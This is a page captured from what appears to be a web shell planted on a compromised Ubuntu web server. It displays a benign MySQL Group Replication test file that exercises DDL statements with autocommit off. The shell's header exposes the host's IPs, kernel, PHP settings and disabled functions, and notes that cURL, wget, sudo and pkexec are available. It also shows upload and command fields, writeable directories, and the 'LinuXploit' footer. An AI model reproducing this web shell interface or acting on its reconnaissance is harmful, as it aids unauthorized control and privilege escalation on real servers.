403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.170.97
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_ddl_no_autocommit.test
################################################################################
# Validate Group Replication correct behaviour when present to DDL and
# autocommit= 0.
#
# Test:
# 0. The test requires two servers: M1 and M2.
# 1. With all members ONLINE. On M1 firstly create tables and insert data, then
#    execute several DDL statements when autocommit=0. DDL cases:-
#  - CREATE TRIGGER
#  - DROP TRIGGER
#  - CREATE INDEX
#  - DROP INDEX
# 2. Check consistency by comparing data and gtid_executed set in M1 and M2.
# 3. Check binlog events on both M1 and M2.
# 4. Clean up.
################################################################################
--source ../inc/have_group_replication_plugin.inc
--source ../inc/group_replication.inc


--echo
--echo #############################################################
--echo # EXECUTE SEVERAL DDL STATEMENTS WHEN AUTOCOMMIT= 0
--echo #############################################################
--connection server1
CREATE TABLE tt_1 (ddl_case INT, PRIMARY KEY(ddl_case)) ENGINE=InnoDB;
CREATE TABLE tt_2 (ddl_case INT, PRIMARY KEY(ddl_case)) ENGINE=InnoDB;

INSERT INTO tt_1(ddl_case) VALUES(0);
INSERT INTO tt_2(ddl_case) VALUES(0);

SET AUTOCOMMIT= 0;
--let $ddl_cases= 4
while ($ddl_cases >= 1)
{
  --echo
  --echo #############################################################
  --echo # DDL case: $ddl_cases

  --disable_query_log
  --let $first_binlog_position= query_get_value("SHOW MASTER STATUS", Position, 1)
  --enable_query_log

  --eval INSERT INTO tt_1(ddl_case) VALUES ($ddl_cases)

  if ($ddl_cases == 4)
  {
    --let $cmd= CREATE TRIGGER tr AFTER INSERT ON tt_1 FOR EACH ROW UPDATE tt_2 SET ddl_case = ddl_case WHERE ddl_case= NEW.ddl_case
  }

  if ($ddl_cases == 3)
  {
    --let $cmd= DROP TRIGGER tr
  }

  if ($ddl_cases == 2)
  {
    --let $cmd= CREATE INDEX ix ON tt_1(ddl_case)
  }

  if ($ddl_cases == 1)
  {
    --let $cmd= DROP INDEX ix ON tt_1
  }

  --eval $cmd

  --disable_query_log
  --let $event_commit= query_get_value("SHOW BINLOG EVENTS FROM $first_binlog_position", Info, 4)
  --enable_query_log

  --let $binlog_start= $first_binlog_position;
  --source include/show_binlog_events.inc
  --dec $ddl_cases
}
SET AUTOCOMMIT= 1;


--echo
--echo #############################################################
--echo # CHECK CONSISTENCY
--echo #############################################################
--source include/rpl_sync.inc

--let $diff_tables= server1:tt_1,server2:tt_1
--source include/diff_tables.inc

--connection server1
--let $server1_gtid_executed= `SELECT @@GLOBAL.GTID_EXECUTED`
--connection server2
--let $server2_gtid_executed= `SELECT @@GLOBAL.GTID_EXECUTED`
--let $assert_text= 'server1 and server2 GTID_EXECUTED must be equal'
--let $assert_cond= "$server1_gtid_executed" = "$server2_gtid_executed"
--source include/assert.inc


--echo
--echo #############################################################
--echo # BINLOG CONTENT
--echo #############################################################
--echo SERVER 1
--connection server1
--let $binlog_start=
--let $keep_gtid_events= 1
--source include/show_binlog_events.inc

--echo SERVER 2
--connection server2
--source include/show_binlog_events.inc


--echo
--echo #############################################################
--echo # CLEAN
--echo #############################################################
DROP TABLE tt_1;
DROP TABLE tt_2;
--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit